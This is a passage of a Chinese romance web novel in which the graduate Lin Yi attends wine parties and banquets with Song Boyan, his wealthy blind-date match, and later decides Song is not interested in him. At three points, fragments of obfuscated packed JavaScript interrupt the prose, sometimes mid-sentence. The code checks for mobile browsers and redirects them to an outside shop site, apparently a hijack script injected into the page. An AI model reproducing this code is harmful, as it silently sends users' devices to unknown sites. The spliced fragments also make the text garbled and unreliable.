程云峰把车开进了北城区一个湖心别墅里,车只能停在湖边,码头处,陆阳平已经让物业把船开过来等着了,宋薄言率先上了船,却没急着落座,而是转身,绅士地朝林仪伸出手。 长辈自然是应该多照顾晚辈的。 虽然是去参加人很多的酒会,但这会儿在夜色里泛舟湖上,怎么有种约会的感觉? 林仪有些面热。 他被牵着上了船,小艇晃了晃,很快发动机在水中划出一道白色浪迹。 林仪只穿了一件衬衫,湖上的风很快让他面庞冷却,几丝冷风从领口袖口灌入。他看了宋薄言一眼,偷偷地往他身边靠了靠,肩膀袖子微微擦在一起,隐隐有热源传来,他就没动了,心满意足地观赏安市富人区别墅的湖光夜色。 宋薄言感觉到小孩儿似有若无地靠着他,侧目看了一眼,倒也没避,低着头回一个重要消息。 别墅就在湖中央,小艇很快靠了岸,物业把他们带到东岸一座别墅里去。 酒会主要活动就是品酒,大部分是主人家自己酒窖的珍藏,还有受邀朋友带来的,宋薄言把自己带的一瓶勒桦酒庄的干红交给主人。 陆阳平看了一眼标签,露出一个惊喜的笑,“哟,不是说不来吗,宋总。” 陆阳平笑呵呵的,注意到宋薄言身后还有一个少年,穿着打扮和眼神跟这里的人格格不入,用眼神问宋薄言:“这位是?” 宋薄言道:“亲戚家的小孩儿,带来认认人。” 林仪被客厅挂着的一副十九世纪中期的油画吸引了目光,没有听到这句话。 陆阳平的目光很耐人寻味,看不出是信了还是没信,“难得宋总带人来,不管是谁,我作为主人,都得照顾好。” 他和宋薄言相识多年,不论正式的私人的场合从没见宋薄言身边带过人,今天倒是让他开了眼。 陆阳平道:“李总几个在等你呢,过去聊聊吧。” 宋薄言点头,转头对林仪道:“我去跟几个朋友聊几句,这里你可以随便逛,酒可以品尝,但不要贪杯,等会儿我来找你。” 他一路把少年领进来,周围的人就已经知道他是谁带来的,接下来要拓展人脉或者交友,少年已经可以自己完成。 得给年轻人成长空间。 林仪乖乖点头,“好。” 陆阳平笑道:“怎么跟大家长似得,放心吧,我这儿安保好着呢,人走不丢。” 宋薄言走了,林仪突然被投放到一个全然陌生的环境中,有点小压力。 所幸酒会上不止有酒,还有很多点心,一看就很美味。 他锁定一块提拉米苏,刚伸出手沾了点奶油,就有两个穿西装的男人过来跟他搭话。 两人年龄差距比较大,但都温和有礼,看林仪的目光并没有对小辈的高高在上,先和他聊聊红酒,再聊聊宋薄言,最后再好奇一下他是做什么的。 好几个人都是如此,一来二去林仪都有了经验,礼貌地回答,“我是学动画设计的,今年刚毕业。” “这个专业不错,很有前景,我们公司有相关业务,或许以后可以合作,这是我的名片。” 林仪自己没有名片,倒是收了好多张别人的。 他的工作室还没开起来,就有客户送上门来了,看来这次回去后他得联系一下合作伙伴,加快成立工作室进度。 好不容易空了下来,林仪终于摸到了他的小蛋糕,是朗姆酒口味的,尝得出来朗姆酒品质很好,他忍不住多吃了几个。 管家这时走了过来,问他要不要尝尝主人家珍藏的酒,已经开过了。 来都来了。 林仪要了一杯,浅尝一口,“好喝。” 他不会品酒,只有这两个字苍白的评价,管家微微一笑,说还有其他口味的,不必多喝,但每样都可以尝一点。 林仪就每样都尝了一点点。 宋薄言找到人的时候,小孩儿正一个人乖乖坐在沙发上,双手手指分开贴在沙发,白皙的脸颊染上一层粉,呆呆地看着桌上一块咬了一口的草莓蛋糕。 “他喝了多少?”宋薄言问。 管家把他喝的酒品种和分量都细细告知,宋薄言点头。 不多,尝鲜的程度。 宋薄言在他身边坐下,放低声音问:“困了?” 林仪回神,摇摇头,“不困。吃饱了,有点饭晕。” 宋薄言失笑,“里面还有一些朋友做互联网的,需不需要我帮你引荐?” 林仪摸了摸口袋,“不要了,我今晚收了好多名片,他们应该都是看在您的面子上给我的。” 宋薄言:“给了你就是你的关系,以后总能用的上。” 林仪扭头望着他,“您忙完了吗?” 宋薄言微愣,“你在等我?” “对啊。”林仪不假思索。 宋薄言问:“等我做什么?” “等你跟我一起吃饭呀。” 说完林仪抽了个嗝,声音很轻。跟仓鼠吱了一声似的,但在两人之间非常清晰。 林仪下意识捂住嘴,不好意思道:“但是我已经吃饱了,你要吃点吗,我陪着你吃。” 宋薄言被他的反应弄笑,有点忍不住摸了摸他翘起来的头发丝儿,“抱歉,让你久等了,既然你已经认识了那么多人,那么今天就到这里吧,我送你回去。” 一说回去林仪立马就起身了,看来小孩儿不是很喜欢这样的场合,或许下次可以单独约一些生意伙伴给他引见。 宋薄言跟陆阳平告辞,和林仪一起离开别墅。 晚间湖心岛风大,林仪已出门就打了个喷嚏。 宋薄言见他脸颊还是红红的,又只穿着一件薄薄的衬衣,停下脚步,将西装外套脱下来递给他,“穿上吧。” 林仪正想婉拒,宋薄言已经迈开腿上了送他们离开的小艇。 宋薄言身高目测一米九以上,他的西装对林仪来说大了很多,穿上连手指头都看不见。 但是好温暖哦。 衣服上还有宋先生独有的香水味。 好想问一下宋先生用的什么香水啊,好好闻。 “衣服有味道吗?”宋薄言看他动作不由得发问。 林仪有种偷摸干坏事被抓包的尴尬。 今天怎么回事,怎么这么没礼貌,抓着人家衣服闻! 但嘴巴却很诚实,“好香啊~” 宋薄言:“……” 林仪:“……” 林仪闭嘴了。 两人坐在小艇,像来时一样安静,快到岸边时,林仪莫名其妙来了句,“我很正经的。” 就跟说梦话一样。 宋薄言下了论断。 这小孩儿酒量不行,估计是微醺状态了,说话都有点大舌头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478916|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >上了岸,程云峰已经把车开了过来,宋薄言给他把车门拉开,“上车吧,起风了。” 林仪眼神清明,走路特地走的直线,闻言乖乖走过去,腿还没抬上去,突然停住,问:“宋先生,您闻到了吗?” 宋薄言:“什么?” 林仪不答,忽然身子一转,不知道被什么吸引,快步朝另一个方向跑了。 宋薄言:“……” 程云峰伸出脑袋看向少年背影,“宋总,他这是……喝了多少?” 宋薄言无奈,“把车掉头,慢慢跟上来。” 落后几步追上去。 林仪没跑多远,停在一棵树前,踮脚伸手去够垂落的树枝。 他摘下手指长一截桂花,见宋薄言来了,递给他,“你把你香香的衣服给了我,这个给你。” 宋薄言被他的率真弄得措手不及,把桂花捏在手中转了转,很配合地送到鼻尖一嗅,“早银桂,开花较早的品种,前两天降温了,估计就是昨晚开的,谢谢你。” 林仪:“前面还有很多!” 扭头一指,又跑了。 “……” 宋薄言只能跟着他,直到逛完这条种满早银桂的街道,少年才肯乖乖上车。 一上车就睡着了。 林仪醒过来时,车已经停在他家小区门口,宋薄言安静地敲击笔记本键盘,他则靠在他肩上。 “我睡了多久?宋先生,您怎么不叫醒我?” 宋薄言关上电脑,看了看手表,“睡了半个小时,不长,酒醒了?” 林仪脸一红,“我没有醉呀……” 他喝酒就是容易上头,头脑清醒,但很容易兴奋起来。一个人还好,有个人在旁边他可能就会疯一点。 还好没断片,只是强迫人家陪自己逛了条桂花街而已。 哈哈…… “那我回去了,再见,宋先生。” 林仪落荒而逃。 绕到车另一边跑了几步又折回来。 宋薄言降下车窗,“你书包忘了。” 林仪接过书包,又说了一声再见,一路小跑。 这一通运动给他跑精神了,回到家先去浴室洗了个澡。 洗完出来后,他把宋薄言的衣服挂了起来。 稍微靠近还能闻到淡淡的香水味,不知道什么调调的,闻起来像雪山冷冽的冰风。 但宋先生本人可一点都不冷,还把还把衣服给他穿。 嘿嘿。 下次还衣服的时候又能见面了。 林仪随意擦了擦头发,墙上的挂钟显示才十点,便又打开电脑继续今天下午的稿件。 单主是个女生,头像是气吞山河的星之卡比。 她先是夸赞了一通初稿,然后提出了几个修改意见。 林仪一一接受,改好后发给对方,对方秒回,从表情包数量来看,应该是非常满意。 林仪没有困意,撸起袖子精神饱满地开始给稿子上色。 全身心投入画画时,丝毫感受不到时间流逝,一停下来时,时间已经是凌晨一点了。 把上色后的稿子给单主发过去,对方迟迟没有回,林仪露出胜利的笑容。 把单主熬睡着了! 他也要睡了。 林仪拉伸胳膊腿儿,摸起手机习惯地睡前刷一圈社交软件。 在一堆群消息和朋友的轰炸下面,竟然还有宋薄言的。 宋:「到家了吗?」 一看发送时间,21:48。 QAQ 5. 乖一点 “!!!” 怎会如此! 他回忆了一下这个时间,刚好就是他到家后去洗澡的时间。 可是宋先生不是都把他送到小区门口了吗? 都把他送到家了,还要问有没有到家呀~ 林仪嘴角像做了个离子烫,翘得不行了。 开心了一会儿,他摸起手机回复消息。 林仪:「到家了。」 林仪:「九点五十到的,抱歉没有看到消息。」 本以为已经凌晨,对面恐怕早就休息了,得明天才有回复。 结果还没退出聊天框,备注位置显示“对方正在输入”。 宋:「嗯。」 宋:「少熬夜,对身体不好。」 林仪:「今天是例外,有个单主的稿子比较急,做得太投入忘记时间了。」 林仪:「宋先生你也没睡。」 他本意是想问问对方怎么也在熬夜,但文字没有语气,听起来像是在反问。 对方过了一会儿发来三个字。 宋:「乖一点。」 林仪解释自己不是那个意思。 发了个表情包,换了个问法:宋先生平时也睡这么晚吗? 宋:「不是。」 宋:「一般十一点睡,六点起。」 林仪:那今天为什么睡这么晚啊? 林仪发出去后把手机扔了,心里有个乐队在敲锣打鼓。 他和宋先生这算已经在搞暧昧了吗? 手机过了一会儿才震动一声。 宋:「有事。」 林仪看完笑了,是笑自己。 哈哈,他在想些什么啊。 好好笑,他以后不会真是个恋爱脑吧。 林仪:「那我睡了。」 林仪:「宋先生晚安。」 林仪抱着手机盯了一会儿,看到对面也发来“晚安”,心满意足地躺了。 第二天林仪稍微起晚了些,不过还好他没有班上,收到“星之卡比”单主的回复后,库库赶了一波进度,中午踩着饭点去了余越家。 林仪探头往客厅扫了一圈,“李旭他们呢?” 屋子里空荡荡的只有余越一个人。 “是你啊,差点以为是外卖。”余越把他拉进来,“李旭还没起呢,另两个有事儿,下午再过来。” 林仪换好鞋子往单人沙发一窝,“有吃的吗,好饿。” “外卖快到了,你先吃点小面包垫垫。”余越给他拿了个吐司面包,“你眼皮下面怎么有点青?昨天熬夜了?” 林仪:“没有啊,昨天赶稿子赶到一点就睡了。” 余越奇怪,“一点还好啊,怎么会这样。” 林仪扒了扒眼皮,慢吞吞咬了一口面包,“不知道,可能因为失眠。” 他昨晚有些兴奋,想了很多关于宋先生的事,导致一小时都能没成功入睡,大脑进入兴奋状态,身体很疲惫,但就是睡不着。 “熬夜这事儿我有经验啊,当你过了某个点还没睡着,那你就别想睡着了。”余越一个弹跳,和他挤在一个沙发里,“所以是什么让你睡不着?昨天那位宋先生回你消息了吧,你们出去约会了?” “不是约会。”林仪纠正,“我们还没有确定关系。” “有什么区别嘛,不都是两个人单独见面,从诗词歌赋谈到人生哲学。” “……”林仪:“没有诗词歌赋也没有人生哲学,也不是单独见面。” 余越眨眨眼,“那你们干嘛去了?” 林仪抿抿唇,“上班。” 余越:“??” 林仪补充:“宋先生很忙,所以让我去他公司。” 余越睁大了眼,脑子里想了很多,“你们不会……那什么……办公室play……” “怎么可能!”林仪瞪他一眼。 余越大笑,这时候门铃响起,是翘首以盼的外卖小哥,他连忙去开门,拎着东西放在桌上,拿着勺子敲了敲盆,对着大门紧闭的客房喊了声,“喂猪了!” 李旭顶着鸡窝头游了出来,“开饭了!林仪你来啦,刚才我听见谁在说办公室play?林仪你昨天和宋先生play了?” 林仪微笑:“……吃吧,猪。” 林仪把宋先生的话题带了过去,自然而然谈到了游戏上。 余越说:“你来的太是时候了,我们几个昨晚已经连夜敲定了框架,我们需要一个优秀的美术生来给我们确定美术风格,先把关键角色和主要场景定下,确定基调。” 林仪吃饭很慢很细致,像只优雅矜贵的小猫,认真干饭的时候绝对不说话,等咽下去后他才慢条斯理“嗯”一声,“先让我看看你们的框架。” 下午人齐后,几个元老兴致勃勃把立项文档打开给他看。 林仪看了一眼,就一眼,就看完了。 “……” “这个框架……应该需要一个极度有想象力的人才看得懂。” 余越摸了摸脑袋,“你说得不错,是有些残缺,还不是人不齐,你再给我们几天,保证把框架给你搭出来。” 林仪镇定地喝了口珍珠水牛乳。 李旭想了想,“那我们先给你讲讲关键角色的故事吧,你可以提前开始构思。” 这个靠谱。 林仪点头,拿出电脑记录。 这几个人虽然立项写得稀碎,但脑袋里确是有想法的,讲起背景故事来是滔滔不绝。 林仪听了一下午,心里大概有个轮廓了,承诺过阵子给他们出个线稿看看。 李旭追问过阵子具体是多久,林仪笑而不答。 余越要求很低,根本不在乎,直接一把抱住他,“以后游戏火了,我们一起吃香喝辣。” …… 一整个下午,几个无业但有志的青年聚在一起玩游戏玩了个昏天黑地。 五点多的样子,林仪手机忽然响了。 此时他们正在打boss,林仪也没看是谁,右滑接听塞在耳朵和肩膀里夹着。 林仪还没开口,余越抱着手柄吼了两声,e on baby,踩我!使劲儿踩我!” 电话那边静了一秒,传来一点白噪音,随后响起一道低沉悦耳的嗓音,“在做什么?” 声音贴着耳朵传来,林仪像被电了一下,“宋先生?” 他忙拿下手机看一眼,居然是宋先生给他打的语音电话。 林仪把手柄塞给李旭,不顾余越的抗议,起身跑去阳台。 “我在和朋友玩游戏,宋先生有什么事吗?” 林仪关上推拉门,隔绝余越几个的好奇偷窥。 宋薄言声音清淡,“晚上有空吗?” 林仪晚上没什么特别的安排,和平常一样,在余越家蹭晚饭回家赶稿。 “有的。” 宋薄言:“朋友家在哪里,我让人来接你,七点有个商务宴会,你跟我一起去吧。” 林仪爽快答应,“好啊,那我回家换身衣服吧,上次我真的很像走错片场的。” 宋薄言轻笑一声,“都行。” 挂掉电话,林仪脚步轻快回到客厅把包拿起来挂肩上,桌上没吃完的零食薅了一把,“我走了啊。” “哎哎哎去哪儿啊怎么也不说说,是不是那个宋先生约你——” “啪——”大门被关上,他们这个草台班子公司又早退一个。 余越大骂:“重色轻友!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478917|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 新垣大楼顶层办公室,宋薄言挂掉电话,嘱咐程云峰,“以后有这种场合的宴会活动,若当天安排不是很紧,就不用推掉。” 程云峰会意,“都要带上林仪先生吗?” 宋薄言:“都要。” 程云峰:“好的。” 宋薄言一向不爱参加这些宴会活动,场上名流权贵云集,推杯换盏攀附结交,的确可以拓展人脉。 但宋薄言一向是别人需要费心思结交攀附的那一个,于他而言就十分麻烦。 但对于刚开始创业的小年轻,多出入这种场合,对他未来的发展只有帮助。 他既然决定支持林仪,就不能只是在资金方面支持,人脉也非常重要。 最后程云峰去锦上城接人时,宋薄言正好事情都处理得差不多了,就直接跟着一起去,省得再绕路。 抵达小区门口时,离约定时间还早,宋薄言拿出电脑办公,等了大概十来分钟,电话响了。 “宋先生,我到小区门口了。” 宋薄言:“嗯,站在原地别动。” 小区门口不让停车,所以他们往前开了一段距离,这会儿程云峰掉头回去,车窗外惊掠一个少年身影,过于清隽,让程云峰下意识回头看了一眼。 林仪笑着跟他打招呼。 宋薄言抬头,蓦然看见路边的少年,也是眼前一亮。 昨天的林仪一身白衬衣牛仔裤,干净清爽,少年感扑面而来。 今天他换了身衣服,依旧是白衬衫,但质感高级,与笔挺的西裤相配,有种西方贵族少年的矜贵感,衬衫扎进裤腰,一丝不苟,黄金比例的身材和修长笔直的腿,每一处都在审美点上狠狠冲击。 看得出来少年精心打扮过,还给自己挑了个小领结,无端让人心生喜爱。 见宋薄言没说话,林仪还以为他没认出自己,走过去弯下腰,“宋先生,是我呀。” 宋薄言收回有些失礼的目光,“走吧。” 上了车,林仪道:“宋先生,您的外套我没拿下来,等我送去洗了之后给您送到公司吧。” 林仪说话时很喜欢看着人的眼睛,不自觉就会靠近,这是他的一种礼貌,也带着无意识的吸引,很容易让人对他心生好感,所以他的交友路通常都很顺利。 宋薄言感受到少年靠近,有点不自然,下意识避开一些,“不用洗,下次见面带出来就行。” “那不行的,我上次回家发现,领口位置蹭上桂花花粉了,还是等我洗干净再还给您吧。” 原本宋薄言只是随口一说,现在却无比坚持,“不用洗。” 林仪没办法,只好答应。 天将薄暮,高架上的天空落满红霞,车一堵上,就有不少手从车窗伸出来拍照。 林仪侧身看着天,“宋先生您看,今晚的天很美。” 宋薄言看向少年。 林仪拿出手机拍照,车窗自动降下,他伸出去一点,咔嚓咔嚓摁了好几张。 林仪一边看照片一边嘀咕,“我今天也很好看。” 少年有点小自恋。 宋薄言默默点头表示同意。 林仪转身把手机递给他,“宋先生,可以帮我拍一张吗?” “可以。” 宋薄言接过手机,用镜头对准林仪,镜头里的少年笑起来,和晚霞同姝。 他找到一个角度,晚霞的柔光渡在少年秀美的五官轮廓上,氲出一层柔光,清透的瞳仁透出琥珀的色泽。 咔嚓—— 拍好后,宋薄言把手机递给少年。 “发给我。” “诶?”林仪歪头。 宋薄言扭头继续盯着自己笔记本,面不改色,“晚霞好看。” 6. 酒窝 车流汇入晚霞,七点整,迈巴赫停在宴会厅外。 程云峰把车开走,宋薄言整理衣襟,带着林仪入了宴会厅。 宋薄言出席这种场合,往往都是焦点所在,他身旁的林仪自然免不了要承受许多打量的目光。 宴会厅已经来了不少人,三两成聚低声交流。 上回的酒会比较私人,林仪一个都不认识,只知道那些人可能都是宋先生的朋友。 这次商务晚宴不一样,座位都已经提前排好,他看了眼入口处的座次表,一眼扫过去,看到了好几个领域的大佬级人物名字。 这种场合应该不是重名吧,应该就是本人吧? 宋薄言看他表情,大约很满意,“有想认识的就大胆去认识,来这里就是为了交朋友。” 林仪指了个名字,“这个!这个人是《星际跌落》的创始人,就是五年前火遍全球的游戏,他很厉害的,我和朋友都玩过那个游戏。” 少年眼睛晶亮,宋薄言鼓励道:“那正好,去取取经。” “嗯!”林仪点头,心想余越他们也在就好了。 这位大佬据说是他们校友,计算机学院的传说级人物,四年没少听余越提起。 宋薄言轻轻拍了拍他后脑勺,“晚宴还有一会儿才开始,可以先逛逛,需要我陪你么?” 林仪猜想宋先生在这种场合肯定少不了要应酬交际,乖巧道:“不用,宋先生你去忙吧,我自己可以的。” 宋薄言露出赞赏的眼神,交代两句就去和一个冲他打招呼的人说话去了。 林仪当然是去找《星际跌落》的创始人搭话了。这里的人都乐于给新面孔时间,林仪从容大方,两人谈得很愉快,还加上了联系方式。 创始人离开后,林仪连忙找了个地方坐下,偷偷给余越发消息。 余越:「真的!你真的见到大神了?!」 林仪:「当然,我们还加了微信。」 余越:「什么?你到底在哪里?!」 林仪跟他说了宋先生带来他来晚宴的事,余越叫得更厉害了:「这种场合下次能不能带我啊!」 过了三十秒,余越又道:「查了一下,你那个宴会来的全是政商界名流啊!你这个宋先生不简单啊!」 余越:「不是,这种级别的相亲资源,谁给你介绍的?!」 余越:「你快问问阿姨,红娘机构收了她多少米?!」 林仪笑得眼睛弯弯的。 林仪:「我不知道啊,我妈说是她朋友推荐给她的。」 余越:「阿姨的朋友也有点东西啊!」 两人手指飞快你来我往,林仪聊得很开心,忽然一个穿白西装的男人走了过来,跟他打招呼,“什么事笑得这么开心?” 林仪抬头,见是个陌生人,身高腿长,眉眼有点混血的感觉。 “你好,你是?” “贺世骧。宴会太无聊了,都没人聊聊天。” 贺世骧在他旁边坐下,在安全社交距离内稍微进了一步,不会让人不舒服,也会显得更亲近,分寸拿捏得极好。 “我叫林仪。” 贺世骧:“名字真好听,刚才我听到你跟隋总聊《星际跌落》,你也喜欢这个游戏?” 一讲到这个,林仪话就多了起来,很快跟贺世骧热络了起来。 不远处,宋薄言正在跟一个同样西装革履的男人碰杯,然而目光却不小心注意到沙发角落的两个人。 有说有笑,头都要挨到一起去了。 身旁的男人顺着宋薄言目光看过去,以为他在看贺世骧,道:“宋总认识贺世骧?” 宋薄言:“贺世骧?” 男人:“贺家幺子,前些年一直在国外留学,最近学成归来,正另起炉灶了,的确是个有抱负的青年才俊。” “青年才俊么。”宋薄言抿了口红酒,眸光暗暗。 一看就目的不纯。 男人一笑,“贺家这一代三个儿子,老大老二都很优秀,已经接手大半贺家业务了,老三么爱玩一些,不过也没荒废,比起许多同龄人,已经是很优秀了。只是因为一个问题,跟家里人一直有点矛盾,他喜欢男人。” 他这话说得有深意,宋薄言没说话,目光一直落在两人身上。 聊什么这么开心。 小孩儿和他在一起的时候,貌似拘谨多一些,哪怕是来时路在车上拍晚霞,也没有笑得这样开心。 少年眼睛弯弯的,颊边隐约还有两个酒窝,贺世骧说着说着,忽然凑近他耳边耳语,听不清说了个什么,只知道少年酒窝更深了。 原来有酒窝的么。 “失陪一下。”宋薄言微微欠身,大步朝沙发走过去。 林仪很开心能够在宴会中认识一个跟自己有相同爱好的人,此时正在翻自己的相册,把自己画的画给他看,这时忽然头顶罩下来一片阴影,他下意识抬头,看见了宋薄言。 “宋先生!”林仪很意外,起身走到他面前。 宋薄言冷冰冰的表情缓和一些,看也没看贺世骧,抬手轻轻揉了揉少年后脑勺,“聊什么呢?” 林仪道:“我们在聊《星际跌落》,我说我画过星际跌落游戏角色的二创,正要给他看。” 贺世骧也站了起来,“林仪,这位是?” 林仪被问住,他还没想过怎么跟别人介绍宋薄言,总觉得在这种场合说什么这位是我相亲对象的话会很奇怪。 好在贺世骧也没等他回答,似乎是自己认了出来,“原来是宋总,久仰大名。” 宋薄言并未伸手,只是微微颔首,说了声“抱歉”,表示自己并没听说过他。 这个问题林仪能回答了,忙介绍道:“他叫贺世骧,他们公司也是做游戏的。” 贺世骧趁机拿出名片递给宋薄言。 宋薄言没有接名片,对林仪道:“晚宴时间快到了,走吧。” 林仪点头,“好,贺先生我们先走了,很高兴认识你,再见。” 贺世骧收回手,目光带着些玩味地看着二人背影,笑了笑,转身回席。 晚宴每个座位都是精心安排,都是根据身份地位来排位置,林仪作为宋薄言带来的人,自然要安排在他旁边。 席间,林仪显然不似昨日酒会那般拘谨,大概是跟人聊开了,觉得还挺有趣,一直在跟宋薄言说贺世骧。 “我们加了微信,我给他看了我以前的画稿,他说他们正好有款新游戏想找我合作。” 林仪一高兴就很话痨,“他的《星际跌落》排名竟然在全服前十,好厉害。” 宋薄言耐心听他说话,不时回应以鼓励他继续,闻言道:“你们加了微信?” 林仪:“对啊。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478918|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋薄言沉默。 这种场合,大多给个名片就行了,就像方才贺世骧给他递名片一样,这俩人竟然直接把微信都加上了。 宋薄言:“你不是要和你朋友合作项目?” 林仪点头,道:“对,不过这两者不一样,我们那个项目,我是合伙人,是要出资占股的。我自己会开个工作室,还是可以接别的活儿的。” “嗯。”宋薄言不着痕迹把话题从贺世骧身上拉了回来,“这么说你们的项目有个大致框架了?” 说起这个,林仪又有得说了,全程身子都是微微偏向宋薄言,宴会厅上大家交谈声都不大,他也得压低声音,怕宋薄言听不见,他会多往宋薄言耳边靠一些,宋薄言也礼貌地偏头附耳。 一场晚宴下来,饭没吃多少,话说了一大堆。 结束后本还有其他环节,宋薄言却提议离场了。林仪自然是更乐意和宋薄言单独待在一起的,立马就答应了。 把少年送回家后,宋薄言让程云峰把车开回公司,他回去加会儿班。 下车时,宋薄言忽然道:“以后这种大型社交宴会别安排了。” 程云峰:“?” 不是下午还说以后这种活动都要参加,还要带上林仪吗? “好的。” 他搞不懂,但照做。 宋薄言又补充,“小型私人聚会可以,出席人员名单事先拿给我看。” 程云峰:“好的宋总。” 接下来的一周,宋薄言带林仪参加了好几个小型聚会,出席的都是些中年已婚老总,不是地中海就是啤酒肚,只会笑呵呵夸林仪一表人才啊,年轻有为啊之类的,宋薄言很满意。 但林仪不是很满意。 这天宋薄言照例把他送回家后,他倒在沙发上,身心俱疲。 明明是陪宋先生参加宴会,怎么有种自己已经在上班还要天天应酬的感觉? 对着天花板发了十分钟呆,林仪托着疲惫的身躯去了浴室,给浴缸放满水,扔了颗沐浴球,把自己泡了进去。 他从没觉得社交这么疲惫过,但其实最让他感觉到难受的,不是天天出去应酬,而是宋薄言。 除了第一次相亲见面之外,他们所有的见面,全都是在有许许多多不认识的人的场合,一次都没有单独出去过。 他不明白宋薄言到底是什么意思。 泡了一会澡,林仪拿起手机,打算给余越打电话求教,想了想还是算了,点开了另一个软件发帖匿名询问这种情况。 立马就有人回复他了。 「相亲对象每次出门都带上很多朋友是什么意思……嗯……你们认识多久了?」 「一次都没单独出去过吗?那很奇怪了呀,如果喜欢的话,应该都会想要单独待在一起吧,就算要认识自己的亲朋好友,那也是之后的事,总要有个顺序啊。」 「楼主相亲对象要是一次都没有单独约你过,那多半是他对你没意思,但是相亲又是家里人安排的不好直接拒绝,所以用这种方式来委婉告诉你。」 「同意楼上,如果只是一次两次带一群朋友,可能只是为了缓解尴尬,每一次都带的话,那就是不想和你单独在一起。」 “……” 林仪默默关掉手机,缩进浴缸,半张脸都埋了进去。 原来宋先生对他没意思啊。 7. 狗遛人事件 今天周末,林仪没有去余越的“公司”打卡,换了身休闲运动服回了爸妈家。 他来得很是时候,正好是中午饭点,林彦军正在厨房忙活两个大菜,周丽女士在切水果,见他来了,把他拉过去说话。 “儿子,最近怎么样了。” 林仪:“挺好的呀,我的工作室已经完成注册了,余越帮我在他们小区对面找了个地方,环境还可以,最近正在招人。” 周丽拍了拍他,“哎呀,谁问你这些了,我说你和小宋啊。” 林仪眼神躲闪。 自从上次从某个聚会分开后,他们已经两天没见过面了。 之前要么是林仪主动找对方聊聊天,分享一下生活,要么就是宋先生直接一个电话打来让他一起去参加各种聚会晚宴。 “挺好的,在聊的。” 林仪选择敷衍过去,否则以他对周丽女士的了解,要是他说没聊了,肯定又要拉着他问半天原因。 要是问出来她觉得不合适,甚至有可能转头就去给他物色下一个相亲对象。 “怎么样,妈妈给你介绍的对象可以吧?你对他感觉如何?” 林仪如实说:“宋先生人很好。” 周丽:“喜欢吧。” “……”林仪实话实说,“喜欢。” 可惜人家不喜欢他。 周丽女士笑开了花,“那就好那就好,你爸这会儿正在做饭,我们去做月饼吧,最近我学到了一种新的做法,年轻人都很喜欢,来我教你。” “月饼?”林仪奇怪,“为什么忽然要做月饼啊?” “你看你,中秋节要到了都不知道啊。”周丽把面粉啊模具啊都拿出来摆在料理台。 林仪挽起袖子去洗手,“我知道啊,中秋节不是还有几天吗?” 这时围着围裙的林彦军扭头道:“当然是因为中秋团圆那天我和你妈要出去旅游,你没地方吃团圆饭了,提前给你做点月饼,免得你吃不到月饼对着月亮唉声叹气。” 林仪:“……” 他爸爸不愧是文学院教授来的,对伤春悲秋十分执着。 周丽笑得花枝乱颤,“谁说我们儿子会对着月亮叹气,这不是有小宋吗,你约小宋出来吃饭啊。” 林仪恍然大悟。 原来如此。 心里的小人拱手作揖:二老真是煞费苦心。 周丽女士平时就喜欢研究一些馒头啊烤面包啊之类的,偶尔在网上刷到一些喜人的点心做法,也会自己复刻,做好后先给林仪送去一份。 这次教他做的也是网上学来的,形状还是传统月饼的形状,只是里面的馅儿改了口味,加入了芋泥、肉松、米麻薯等等。 这次他们做了一块尝了尝,没有翻车,香甜软糯,口感细腻,一家人分来吃完没有剩的,周丽就告诉他,“本就是想授人以渔,你回去自己做吧。” 林仪空手来空手回去,看见外面要圆不圆的月亮,还真有想要叹一声的冲动。 林仪没有约宋薄言,但宋薄言打来了电话,告诉他有个聚会,邀请他一起参加。 犹豫片刻,应了下来。 他没换衣服,提前下楼在小区门口等着,熟悉的黑车很快就开到了面前,林仪上前几步,没有上车。 “宋先生,我有话对你说。” 宋薄言发现今天的林仪穿着一身十分休闲的运动服,说话时神情有些奇怪,便下了车和他往小区旁的人行道走了几步。 林仪想了想道:“宋先生,谢谢你带我参加你的聚会,我也认识了很多人,但这次我就不去了。” “可以。”宋薄言并不勉强,问:“说说原因。” 林仪停下来,鼓起勇气面对他,“我想问问宋先生,是不是不喜欢和我单独待在一起?” 宋薄言意外,一时不知道这小孩儿是什么意思。 林仪低头,声音变小了,“宋先生要是不喜欢和我单独见面,也没关系的,可以直接告诉我,今天我就不去了,宋先生再见。” 林仪说完就走了,因为宋薄言越是不说话,他越觉得自己像个无理取闹的小孩子,好像自己没向大人讨到糖就不开心发脾气一样莫名其妙。 他待不下去了,飞快跑回了小区。 宋薄言默默在原地站了一会儿才上车。 程云峰见林仪没上来,问:“宋总,林先生这是忘带东西了吗?” 宋薄言道:“他不去了。” “啊?”程云峰:“那我们现在去哪里?” 宋薄言双手交叠放在膝盖,没说去那里,只说:“告诉李总晚上我临时有事去不了了。” “好的。” 